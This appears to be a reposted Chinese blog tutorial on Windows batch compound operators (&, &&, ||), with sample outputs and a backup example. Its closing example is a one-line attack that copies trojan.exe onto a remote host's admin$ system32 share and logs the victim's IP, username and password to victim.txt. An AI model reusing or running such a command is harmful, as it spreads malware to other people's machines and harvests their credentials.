三.如何使用组合命令(Compound Command)
来源:互联网 发布:ubuntu 脚本使用教程 编辑:程序博客网 时间:2024/06/05 01:16
1.&
Usage:第一条命令 & 第二条命令 [& 第三条命令…]
用这种方法可以同时执行多条命令,而不管命令是否执行成功
Sample:C:>dir z: & dir c:Ex4rchThe system cannot find the path specified.Volume in drive C has no label.Volume Serial Number is 0078-59FBDirectory of c:Ex4rch2002-05-14 23:51 <DIR> .2002-05-14 23:51 <DIR> ..2002-05-14 23:51 14 sometips.gif
2.&&
Usage:第一条命令 && 第二条命令 [&& 第三条命令…]
用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;
Sample:C:>dir z: && dir c:Ex4rchThe system cannot find the path specified.C:>dir c:Ex4rch && dir z:Volume in drive C has no label.Volume Serial Number is 0078-59FBDirectory of c:Ex4rch2002-05-14 23:55 <DIR> .2002-05-14 23:55 <DIR> ..2002-05-14 23:55 14 sometips.gif1 File(s) 14 bytes2 Dir(s) 768,671,744 bytes freeThe system cannot find the path specified.
在做备份的时候可能会用到这种命令会比较简单,如:
dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:backup
如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 :)
3.||
Usage:第一条命令 || 第二条命令 [|| 第三条命令…]
用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;
Sample:C:Ex4rch>dir sometips.gif || del sometips.gifVolume in drive C has no label.Volume Serial Number is 0078-59FBDirectory of C:Ex4rch2002-05-14 23:55 14 sometips.gif1 File(s) 14 bytes0 Dir(s) 768,696,320 bytes free
组合命令使用的例子:
sample:@copy trojan.exe /%1admin$system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt
1 0
- 三.如何使用组合命令(Compound Command)
- 如何使用组合命令(Compound Command)
- 如何使用Command对象
- 批处理教程3——如何使用组合命令
- 批处理中 使用组合命令
- grep find 命令组合使用
- mysql command line client 使用命令
- mysql command line client 使用命令
- mysql command line client 使用命令
- mysql command line client 使用命令
- virsh命令中使用qemu-monitor-command
- mysql command line client 使用命令
- mysql command line client 使用命令
- Design Pattern学习笔记之组合模式(Compound Patterns)
- Command(命令)
- 命令(Command)
- java设计模式(三):command(命令模式)
- 设计模式介绍之三:命令模式(command)
- 重新上路
- 二.如何在批处理文件中使用参数
- nodejs 连接mongodb
- as-conformal-as-possible discrete volumetric mapping
- Kafka集群操作指南
- 三.如何使用组合命令(Compound Command)
- java web实现img读取盘符下的图像
- poj 2524Ubiquitous Religions (并查集)
- 编写程序打印空心菱形
- 线程安全的集合类
- MySQL性能优化总结
- MySQL技术内幕 InnoDB存储引擎(一)
- Java多线程之并发工具类之CyclicBarrier
- mac mobile angular ui安装